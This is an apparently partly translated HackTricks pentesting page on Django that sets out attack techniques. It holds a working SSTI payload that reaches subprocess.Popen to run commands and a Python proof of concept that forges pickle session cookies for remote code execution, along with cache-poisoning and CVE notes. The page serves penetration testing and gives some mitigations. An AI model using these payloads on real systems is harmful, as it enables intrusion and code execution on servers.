Django

Reading time: 6 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Cache Manipulation to RCE

Django's default cache storage method is Python pickles, which can lead to RCE if untrusted input is unpickled. If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server.

Django cache is stored in one of four places: Redis, memory, files, or a database. Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Los mantenedores lo han marcado como no problemático. Es importante notar que la carpeta de archivos del cache, el nombre de la tabla SQL y los detalles del servidor Redis variarán según la implementación.

This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436


Server-Side Template Injection (SSTI)

The Django Template Language (DTL) is Turing-complete. If user-supplied data is rendered as a template string (for example by calling Template(user_input).render() or when |safe/format_html() removes auto-escaping), an attacker may achieve full SSTI → RCE.

Detección

  1. Busca llamadas dinámicas a Template() / Engine.from_string() / render_to_string() que incluyan cualquier dato de la solicitud sin sanitizar.
  2. Envía una carga útil basada en tiempo o aritmética:
django
{{7*7}}

Si la salida renderizada contiene 49, la entrada es compilada por el motor de templates.

Primitiva para RCE

Django blocks direct access to __import__, but the Python object graph is reachable:

django
{{''.__class__.mro()[1].__subclasses__()}}

Encuentra el índice de subprocess.Popen (≈400–500 dependiendo de la build de Python) y ejecuta comandos arbitrarios:

django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

Un gadget universal más seguro es iterar hasta cls.__name__ == 'Popen'.

El mismo gadget funciona para Debug Toolbar o Django-CMS en las características de renderizado de plantillas que gestionan incorrectamente la entrada del usuario.


También ver: ReportLab/xhtml2pdf PDF export RCE

Las aplicaciones construidas sobre Django comúnmente integran xhtml2pdf/ReportLab para exportar vistas como PDF. Cuando HTML controlado por el usuario fluye hacia la generación de PDF, rl_safe_eval puede evaluar expresiones dentro de triple corchetes [[[ ... ]]], permitiendo ejecución de código (CVE-2023-33733). Detalles, payloads, y mitigaciones:

Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733


Si la configuración SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' está habilitada (o un serializer personalizado que deserializa pickle), Django descifra y deserializa la cookie de sesión antes de ejecutar cualquier código de vista. Por lo tanto, poseer una clave de firma válida (el SECRET_KEY del proyecto por defecto) es suficiente para ejecución remota de código inmediata.

Requisitos del exploit

  • El servidor usa PickleSerializer.
  • El atacante conoce / puede adivinar settings.SECRET_KEY (leaks via GitHub, .env, páginas de error, etc.).

Prueba de concepto

python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Envía la cookie resultante, y el payload se ejecuta con los permisos del WSGI worker.

Mitigaciones: Mantener el JSONSerializer por defecto, rotar SECRET_KEY y configurar SESSION_COOKIE_HTTPONLY.


CVE recientes (2023-2025) de alto impacto de Django que los Pentesters deberían revisar

  • CVE-2025-48432Log Injection via unescaped request.path (fixeado el 4 de junio de 2025). Permite a atacantes introducir nuevas líneas/códigos ANSI en los archivos de registro y envenenar el análisis de logs aguas abajo. Parche ≥ 4.2.22 / 5.1.10 / 5.2.2.
  • CVE-2024-42005Critical SQL injection en QuerySet.values()/values_list() sobre JSONField (CVSS 9.8). Construir claves JSON para salir de las comillas y ejecutar SQL arbitrario. Fijado en 4.2.15 / 5.0.8.

Siempre fingerprint la versión exacta del framework vía la página de error X-Frame-Options o el hash de /static/admin/css/base.css y prueba lo anterior cuando corresponda.


Referencias

  • Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
  • OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
  • 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – https://0xdf.gitlab.io/2025/08/09/htb-university.html

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks